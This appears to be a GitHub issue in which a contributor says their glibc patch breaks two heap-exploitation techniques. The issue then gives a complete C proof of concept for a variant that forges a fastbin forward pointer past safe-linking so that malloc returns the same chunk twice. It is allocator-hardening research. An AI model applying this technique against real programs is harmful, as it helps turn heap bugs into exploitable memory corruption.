Skip to content

fastbin_reverse_into_tcache and large_bin_attack no longer work on glibc master #204

@kenballus

Description

@kenballus

...because I wrote a patch :)

The patch adds a check when moving chunks from fastbin to tcache that the size field in the chunks makes sense.

Even with this patch, you can still pull off a similar attack by making the fastbin into a loop as follows:

#include <stdint.h>
#include <stdlib.h>

int main(void) {
    void *p[15];
    // Make 15 allocations
    for (int i = 0; i < 15; i++) {
        p[i] = malloc(1);
    }

    // Free them all
    for (int i = 0; i < 15; i++) {
        free(p[i]);
    }

    // tcache:  p[6] -> p[5] -> p[4] -> p[3] -> p[2] -> p[1] -> p[0]
    // fastbin: p[14] -> p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7]

    // Clear out the tcache
    for (int i = 0; i < 7; i++) {
        void *unused = malloc(1);
    }

    // tcache:  (empty)
    // fastbin: p[14] -> p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7]

    // Change p[7]'s forward link from PROTECT_PTR(NULL) to PROTECT_PTR(p[13])
    uint64_t *const p7_chunk = (uint64_t *)p[7] - 2;
    p7_chunk[2] =
        (uintptr_t)(((uint64_t *)p[13]) - 2) ^ ((uintptr_t)p7_chunk >> 12);

    // tcache:  (empty)
    //                     +-------------------------------------------------------+
    //                     |                                                       |
    //                     \/                                                      |
    // fastbin: p[14] -> p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7] -+

    // Make a single allocation. This will cause the first 7 entries in the
    // fastbin to be moved into the tcache. It also reverses their order.
    void *unused = malloc(1);

    // i.e., first
    // tcache:  (empty)
    //            +-------------------------------------------------------+
    //            |                                                       |
    //            \/                                                      |
    // fastbin: p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7] -+

    // then,
    // tcache:  p[7] -> p[8] -> p[9] -> p[10] -> p[11] -> p[12] -> p[13]
    // fastbin: p[13]

    // Because p[13] is last in the tcache list, it gets PROTECT_PTR(NULL)
    // written into its fd field. This is convenient, because it means that
    // other than the fact that p[13] is present in both the fastbin and tcache,
    // the heap is in a *totally valid state*. In other words, the attack cleans
    // up after itself :)

    // Clear out the tcache again, except the last
    for (int i = 0; i < 6; i++) {
        void *unused = malloc(1);
    }

    // tcache:  p[13]
    // fastbin: p[13]

    // Should get p[13]
    void *poisoned_1 = malloc(1);

    // tcache:  (empty)
    // fastbin: p[13]

    // Should get p[13]
    void *poisoned_2 = malloc(1);
    return poisoned_1 != poisoned_2;
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions